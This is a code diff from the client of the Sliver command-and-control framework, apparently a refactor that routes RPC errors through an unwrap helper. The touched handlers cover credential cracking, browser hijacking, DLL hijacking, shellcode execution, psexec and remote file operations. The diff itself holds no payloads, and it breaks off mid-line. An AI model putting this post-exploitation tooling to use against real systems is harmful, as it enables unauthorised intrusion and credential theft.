a/client/command/crack/crack.go b/client/command/crack/crack.go index 26ad3231a9..0ce322eefb 100644 --- a/client/command/crack/crack.go +++ b/client/command/crack/crack.go @@ -38,14 +38,14 @@ func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } else { crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("%d crackstation(s) connected to server\n", len(crackers.Crackstations)) } crackFiles, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if len(crackFiles.Files) == 0 { @@ -60,7 +60,7 @@ func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CrackStationsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if len(crackers.Crackstations) == 0 { diff --git a/client/command/crack/helpers.go b/client/command/crack/helpers.go index a8b5f15870..d2eed38a45 100644 --- a/client/command/crack/helpers.go +++ b/client/command/crack/helpers.go @@ -18,7 +18,7 @@ func CrackHcstat2Completer(con *console.SliverClient) carapace.Action { hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) if err != nil { - return carapace.ActionMessage("failed to fetch crack files: %s", err.Error()) + return carapace.ActionMessage("failed to fetch crack files: %s", con.UnwrapServerErr(err)) } results := make([]string, 0) @@ -45,7 +45,7 @@ func CrackWordlistCompleter(con *console.SliverClient) carapace.Action { hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) if err != nil { - return carapace.ActionMessage("failed to fetch crack files: %s", err.Error()) + return carapace.ActionMessage("failed to fetch crack files: %s", con.UnwrapServerErr(err)) } results := make([]string, 0) @@ -73,7 +73,7 @@ func CrackRulesCompleter(con *console.SliverClient) carapace.Action { hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) if err != nil { - return carapace.ActionMessage("failed to fetch crack files: %s", err.Error()) + return carapace.ActionMessage("failed to fetch crack files: %s", con.UnwrapServerErr(err)) } results := make([]string, 0) diff --git a/client/command/creds/add.go b/client/command/creds/add.go index 6c4fef924d..67798e9fd8 100644 --- a/client/command/creds/add.go +++ b/client/command/creds/add.go @@ -65,12 +65,12 @@ func CredsAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { }, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } PrintCreds(creds.Credentials, con) @@ -116,12 +116,12 @@ func CredsAddHashFileCmd(cmd *cobra.Command, con *console.SliverClient, args []s con.PrintInfof("Adding %d credential(s) ...\n", len(creds.Credentials)) _, err = con.Rpc.CredsAdd(context.Background(), creds) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } creds, err = con.Rpc.Creds(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } PrintCreds(creds.Credentials, con) diff --git a/client/command/creds/creds.go b/client/command/creds/creds.go index 97228cb777..2bc5072a89 100644 --- a/client/command/creds/creds.go +++ b/client/command/creds/creds.go @@ -36,7 +36,7 @@ import ( func CredsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if len(creds.Credentials) == 0 { @@ -120,7 +120,7 @@ func CredsCollectionCompleter(con *console.SliverClient) carapace.Action { creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage("failed to fetch credentials: %s", err.Error()) + return carapace.ActionMessage("failed to fetch credentials: %s", con.UnwrapServerErr(err)) } if len(creds.Credentials) == 0 { return carapace.Action{} @@ -147,7 +147,7 @@ func CredsCredentialIDCompleter(con *console.SliverClient) carapace.Action { creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage("failed to fetch credentials: %s", err.Error()) + return carapace.ActionMessage("failed to fetch credentials: %s", con.UnwrapServerErr(err)) } if len(creds.Credentials) == 0 { return carapace.Action{} diff --git a/client/command/creds/rm.go b/client/command/creds/rm.go index fcb88d828a..e10d54c41a 100644 --- a/client/command/creds/rm.go +++ b/client/command/creds/rm.go @@ -49,12 +49,12 @@ func CredsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { }, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if len(creds.Credentials) == 0 { diff --git a/client/command/creds/select.go b/client/command/creds/select.go index 80c3da1516..1988a296b7 100644 --- a/client/command/creds/select.go +++ b/client/command/creds/select.go @@ -21,12 +21,12 @@ func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.S if hashType == clientpb.HashType_INVALID { creds, err = con.Rpc.Creds(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } } else { creds, err = con.Rpc.GetCredsByHashType(context.Background(), &clientpb.Credential{HashType: hashType}) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } } if len(creds.Credentials) == 0 { diff --git a/client/command/cursed/cursed-chrome.go b/client/command/cursed/cursed-chrome.go index cf76c83da3..1a5dac1881 100644 --- a/client/command/cursed/cursed-chrome.go +++ b/client/command/cursed/cursed-chrome.go @@ -137,7 +137,7 @@ func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *cons Pid: chromeProcess.GetPid(), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return nil } if terminateResp.Response != nil && terminateResp.Response.Err != "" { @@ -206,7 +206,7 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra }) if err != nil { con.Printf("failure!\n") - return nil, err + return nil, con.UnwrapServerErr(err) } con.Printf("(pid: %d) success!\n", chromeExec.GetPid()) @@ -276,7 +276,7 @@ func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Co Path: userDataDir, }) if err != nil { - return "", err + return "", con.UnwrapServerErr(err) } if ls.GetExists() { return userDataDir, nil @@ -294,7 +294,7 @@ func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Co Path: userDataDir, }) if err != nil { - return "", err + return "", con.UnwrapServerErr(err) } if ls.GetExists() { return userDataDir, nil @@ -341,7 +341,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra Path: chromeExecutablePath, }) if err != nil { - return "", err + return "", con.UnwrapServerErr(err) } if ls.GetExists() { return chromeExecutablePath, nil @@ -361,7 +361,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra Path: defaultChromePath, }) if err != nil { - return "", err + return "", con.UnwrapServerErr(err) } if ls.GetExists() { return defaultChromePath, nil @@ -387,7 +387,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra Path: chromePath, }) if err != nil { - return "", err + return "", con.UnwrapServerErr(err) } if ls.GetExists() { return chromePath, nil @@ -421,7 +421,7 @@ func getChromeProcess(session *clientpb.Session, cmd *cobra.Command, con *consol Request: con.ActiveTarget.Request(cmd), }) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } for _, process := range ps.Processes { if process.GetOwner() != session.GetUsername() { diff --git a/client/command/cursed/cursed-edge.go b/client/command/cursed/cursed-edge.go index 19623f35ef..82aa122518 100644 --- a/client/command/cursed/cursed-edge.go +++ b/client/command/cursed/cursed-edge.go @@ -120,7 +120,7 @@ func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *consol Pid: edgeProcess.GetPid(), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return nil } if terminateResp.Response != nil && terminateResp.Response.Err != "" { @@ -156,7 +156,7 @@ func getEdgeProcess(session *clientpb.Session, cmd *cobra.Command, con *console. Request: con.ActiveTarget.Request(cmd), }) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } for _, process := range ps.Processes { if process.GetOwner() != session.GetUsername() { diff --git a/client/command/cursed/cursed-electron.go b/client/command/cursed/cursed-electron.go index e9894315db..5d42594787 100644 --- a/client/command/cursed/cursed-electron.go +++ b/client/command/cursed/cursed-electron.go @@ -102,7 +102,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *co Pid: electronProcess.Pid, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return nil } if terminateResp.Response != nil && terminateResp.Response.Err != "" { @@ -124,7 +124,7 @@ func checkElectronPath(electronExe string, session *clientpb.Session, cmd *cobra Path: electronExe, }) if err != nil { - return false, err + return false, con.UnwrapServerErr(err) } return ls.GetExists(), nil } @@ -134,7 +134,7 @@ func checkElectronProcess(electronExe string, session *clientpb.Session, cmd *co Request: con.ActiveTarget.Request(cmd), }) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } for _, process := range ps.Processes { if process.GetOwner() != session.GetUsername() { @@ -168,7 +168,7 @@ func startCursedElectronProcess(electronExe string, session *clientpb.Session, c }) if err != nil { con.Printf("failure!\n") - return nil, err + return nil, con.UnwrapServerErr(err) } con.Printf("(pid: %d) success!\n", electronExec.GetPid()) diff --git a/client/command/cursed/cursed-rm.go b/client/command/cursed/cursed-rm.go index a2f47b1ad9..d5772c289a 100644 --- a/client/command/cursed/cursed-rm.go +++ b/client/command/cursed/cursed-rm.go @@ -70,7 +70,7 @@ func CursedRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { Pid: int32(cursedProc.PID), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if terminateResp.Response != nil && terminateResp.Response.Err != "" { diff --git a/client/command/dllhijack/dllhijack.go b/client/command/dllhijack/dllhijack.go index 360a84f6d1..3e6033f1e0 100644 --- a/client/command/dllhijack/dllhijack.go +++ b/client/command/dllhijack/dllhijack.go @@ -90,7 +90,7 @@ func DllHijackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("Error: %s\n", err) + con.PrintErrorf("Error: %s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/environment/commands.go b/client/command/environment/commands.go index 6c030ae77c..5ecef21500 100644 --- a/client/command/environment/commands.go +++ b/client/command/environment/commands.go @@ -1,14 +1,13 @@ package environment import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/environment/get.go b/client/command/environment/get.go index 5cd630bfaf..1220a21d8d 100644 --- a/client/command/environment/get.go +++ b/client/command/environment/get.go @@ -21,16 +21,14 @@ package environment import ( "context" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// EnvGetCmd - Get a remote environment variable +// EnvGetCmd - Get a remote environment variable. func EnvGetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -47,7 +45,7 @@ func EnvGetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if envInfo.Response != nil && envInfo.Response.Async { @@ -65,7 +63,7 @@ func EnvGetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// PrintGetEnvInfo - Print the results of the env get command +// PrintGetEnvInfo - Print the results of the env get command. func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverClient) { if envInfo.Response != nil && envInfo.Response.Err != "" { con.PrintErrorf("%s\n", envInfo.Response.Err) diff --git a/client/command/environment/set.go b/client/command/environment/set.go index 7db6d4124f..db40bed37e 100644 --- a/client/command/environment/set.go +++ b/client/command/environment/set.go @@ -21,17 +21,15 @@ package environment import ( "context" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// EnvSetCmd - Set a remote environment variable +// EnvSetCmd - Set a remote environment variable. func EnvSetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -53,7 +51,7 @@ func EnvSetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if envInfo.Response != nil && envInfo.Response.Async { @@ -71,7 +69,7 @@ func EnvSetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// PrintSetEnvInfo - Print the set environment info +// PrintSetEnvInfo - Print the set environment info. func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverClient) { if envInfo.Response != nil && envInfo.Response.Err != "" { con.PrintErrorf("%s\n", envInfo.Response.Err) diff --git a/client/command/environment/unset.go b/client/command/environment/unset.go index c5b7b2773a..8e21fefd38 100644 --- a/client/command/environment/unset.go +++ b/client/command/environment/unset.go @@ -21,16 +21,14 @@ package environment import ( "context" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// EnvUnsetCmd - Unset a remote environment variable +// EnvUnsetCmd - Unset a remote environment variable. func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -48,7 +46,7 @@ func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if unsetResp.Response != nil && unsetResp.Response.Async { @@ -66,7 +64,7 @@ func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// PrintUnsetEnvInfo - Print the set environment info +// PrintUnsetEnvInfo - Print the set environment info. func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverClient) { if envInfo.Response != nil && envInfo.Response.Err != "" { con.PrintErrorf("%s\n", envInfo.Response.Err) diff --git a/client/command/exec/execute-assembly.go b/client/command/exec/execute-assembly.go index 69f649da90..15f55d779e 100644 --- a/client/command/exec/execute-assembly.go +++ b/client/command/exec/execute-assembly.go @@ -111,7 +111,7 @@ func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverClient, args []st ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } hostName := getHostname(session, beacon) diff --git a/client/command/exec/execute-shellcode.go b/client/command/exec/execute-shellcode.go index 586136b079..e85a2839cb 100644 --- a/client/command/exec/execute-shellcode.go +++ b/client/command/exec/execute-shellcode.go @@ -81,7 +81,7 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s Data: shellcodeBin, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } oldSize := len(shellcodeBin) @@ -107,7 +107,7 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } @@ -151,7 +151,7 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r SessionID: session.ID, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } @@ -164,7 +164,7 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r TunnelID: tunnel.ID, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } // Retrieve PID and start remote task @@ -183,7 +183,7 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/exec/execute.go b/client/command/exec/execute.go index 0fd15d98a0..e64049af1a 100644 --- a/client/command/exec/execute.go +++ b/client/command/exec/execute.go @@ -92,7 +92,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } diff --git a/client/command/exec/migrate.go b/client/command/exec/migrate.go index 66a02fdeb5..0ccdca7222 100644 --- a/client/command/exec/migrate.go +++ b/client/command/exec/migrate.go @@ -49,7 +49,7 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("Error: %v\n", err) + con.PrintErrorf("Error: %v\n", con.UnwrapServerErr(err)) return } procCtrl <- true @@ -84,7 +84,7 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("Error: %v", err) + con.PrintErrorf("Error: %v", con.UnwrapServerErr(err)) return } if !migrate.Success { diff --git a/client/command/exec/msf-inject.go b/client/command/exec/msf-inject.go index 4039a2dcc9..c0cda6d239 100644 --- a/client/command/exec/msf-inject.go +++ b/client/command/exec/msf-inject.go @@ -78,7 +78,7 @@ func MsfInjectCmd(cmd *cobra.Command, con *console.SliverClient, args []string) ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/exec/msf.go b/client/command/exec/msf.go index 1685b7de99..02302ab730 100644 --- a/client/command/exec/msf.go +++ b/client/command/exec/msf.go @@ -71,7 +71,7 @@ func MsfCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/exec/psexec.go b/client/command/exec/psexec.go index 790417a1ce..310d3dbcb4 100644 --- a/client/command/exec/psexec.go +++ b/client/command/exec/psexec.go @@ -75,7 +75,7 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl) profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Error: %s\n", err) + con.PrintErrorf("Error: %s\n", con.UnwrapServerErr(err)) return } generateCtrl <- true @@ -116,7 +116,7 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { uploadCtrl <- true <-uploadCtrl if err != nil { - con.PrintErrorf("Error: %s\n", err) + con.PrintErrorf("Error: %s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Uploaded service binary to %s\n", upload.GetPath()) @@ -142,7 +142,7 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { serviceCtrl <- true <-serviceCtrl if err != nil { - con.PrintErrorf("Error: %v\n", err) + con.PrintErrorf("Error: %v\n", con.UnwrapServerErr(err)) return } if start.Response != nil && start.Response.Err != "" { @@ -162,7 +162,7 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { removeChan <- true <-removeChan if err != nil { - con.PrintErrorf("Error: %s\n", err) + con.PrintErrorf("Error: %s\n", con.UnwrapServerErr(err)) return } if removed.Response != nil && removed.Response.Err != "" { diff --git a/client/command/exec/sideload.go b/client/command/exec/sideload.go index f64c9eeb96..1c036a4b18 100644 --- a/client/command/exec/sideload.go +++ b/client/command/exec/sideload.go @@ -73,7 +73,7 @@ func SideloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("Error: %v", err) + con.PrintErrorf("Error: %v", con.UnwrapServerErr(err)) return } diff --git a/client/command/exec/spawndll.go b/client/command/exec/spawndll.go index ff281187d2..83d064c36d 100644 --- a/client/command/exec/spawndll.go +++ b/client/command/exec/spawndll.go @@ -60,7 +60,7 @@ func SpawnDllCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { Kill: !keepAlive, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } ctrl <- true diff --git a/client/command/exec/ssh.go b/client/command/exec/ssh.go index 5de8a37a6d..67e8fac562 100644 --- a/client/command/exec/ssh.go +++ b/client/command/exec/ssh.go @@ -101,7 +101,7 @@ func SSHCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if sshCmd.Response != nil && sshCmd.Response.Async { diff --git a/client/command/filesystem/cat.go b/client/command/filesystem/cat.go index 7226f13977..5fa1d54d89 100644 --- a/client/command/filesystem/cat.go +++ b/client/command/filesystem/cat.go @@ -61,7 +61,7 @@ func CatCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if download.Response != nil && download.Response.Async { diff --git a/client/command/filesystem/cd.go b/client/command/filesystem/cd.go index 58f2bc2c39..411a36dfcf 100644 --- a/client/command/filesystem/cd.go +++ b/client/command/filesystem/cd.go @@ -45,7 +45,7 @@ func CdCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { Path: filePath, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if pwd.Response != nil && pwd.Response.Async { diff --git a/client/command/filesystem/chmod.go b/client/command/filesystem/chmod.go index 5485bb08f2..b25bb983de 100644 --- a/client/command/filesystem/chmod.go +++ b/client/command/filesystem/chmod.go @@ -57,7 +57,7 @@ func ChmodCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { Recursive: recursive, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if chmod.Response != nil && chmod.Response.Async { diff --git a/client/command/filesystem/chown.go b/client/command/filesystem/chown.go index 5ea6d199cb..9f980fe5e6 100644 --- a/client/command/filesystem/chown.go +++ b/client/command/filesystem/chown.go @@ -65,7 +65,7 @@ func ChownCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { Recursive: recursive, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if chown.Response != nil && chown.Response.Async { diff --git a/client/command/filesystem/chtimes.go b/client/command/filesystem/chtimes.go index 2cf75b0dcb..fdb2784174 100644 --- a/client/command/filesystem/chtimes.go +++ b/client/command/filesystem/chtimes.go @@ -78,7 +78,7 @@ func ChtimesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { MTime: unixMtime, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if chtimes.Response != nil && chtimes.Response.Async { diff --git a/client/command/filesystem/cp.go b/client/command/filesystem/cp.go index 3f9724f1a0..7e73bf6059 100644 --- a/client/command/filesystem/cp.go +++ b/client/command/filesystem/cp.go @@ -48,7 +48,7 @@ func CpCmd(cmd *cobra.Command, con *console.SliverClient, args []string) (err er Dst: dst, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/filesystem/download.go b/client/command/filesystem/download.go index 5cf74140e4..01d6d111e6 100644 --- a/client/command/filesystem/download.go +++ b/client/command/filesystem/download.go @@ -57,7 +57,7 @@ func DownloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if download.Response != nil && download.Response.Async { diff --git a/client/command/filesystem/memfiles-add.go b/client/command/filesystem/memfiles-add.go index dfed97a4bb..26db52ae24 100644 --- a/client/command/filesystem/memfiles-add.go +++ b/client/command/filesystem/memfiles-add.go @@ -38,7 +38,7 @@ func MemfilesAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if memfilesAdd.Response != nil && memfilesAdd.Response.Async { diff --git a/client/command/filesystem/memfiles-list.go b/client/command/filesystem/memfiles-list.go index a4bb45d8bc..cc7c87cd54 100644 --- a/client/command/filesystem/memfiles-list.go +++ b/client/command/filesystem/memfiles-list.go @@ -44,7 +44,7 @@ func MemfilesListCmd(cmd *cobra.Command, con *console.SliverClient, args []strin Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if memfilesList.Response != nil && memfilesList.Response.Async { diff --git a/client/command/filesystem/memfiles-rm.go b/client/command/filesystem/memfiles-rm.go index 9c90b46354..ea1b9e6157 100644 --- a/client/command/filesystem/memfiles-rm.go +++ b/client/command/filesystem/memfiles-rm.go @@ -48,7 +48,7 @@ func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) Fd: fdInt, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if memfilesList.Response != nil && memfilesList.Response.Async { diff --git a/client/command/filesystem/mkdir.go b/client/command/filesystem/mkdir.go index 0699fe1ff5..4be6d66136 100644 --- a/client/command/filesystem/mkdir.go +++ b/client/command/filesystem/mkdir.go @@ -48,7 +48,7 @@ func MkdirCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { Path: filePath, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if mkdir.Response != nil && mkdir.Response.Async { diff --git a/client/command/filesystem/mv.go b/client/command/filesystem/mv.go index 9e0b46e874..7828eae797 100644 --- a/client/command/filesystem/mv.go +++ b/client/command/filesystem/mv.go @@ -54,7 +54,7 @@ func MvCmd(cmd *cobra.Command, con *console.SliverClient, args []string) (err er Dst: dst, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/filesystem/pwd.go b/client/command/filesystem/pwd.go index 5ed2b019b9..576cc32005 100644 --- a/client/command/filesystem/pwd.go +++ b/client/command/filesystem/pwd.go @@ -38,7 +38,7 @@ func PwdCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if pwd.Response != nil && pwd.Response.Async { diff --git a/client/command/filesystem/rm.go b/client/command/filesystem/rm.go index 7701c5a840..d2ba107f78 100644 --- a/client/command/filesystem/rm.go +++ b/client/command/filesystem/rm.go @@ -53,7 +53,7 @@ func RmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { Force: force, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if rm.Response != nil && rm.Response.Async { diff --git a/client/command/filesystem/upload.go b/client/command/filesystem/upload.go index 86daef51bc..340b4f24e1 100644 --- a/client/command/filesystem/upload.go +++ b/client/command/filesystem/upload.go @@ -90,7 +90,7 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if upload.Response != nil && 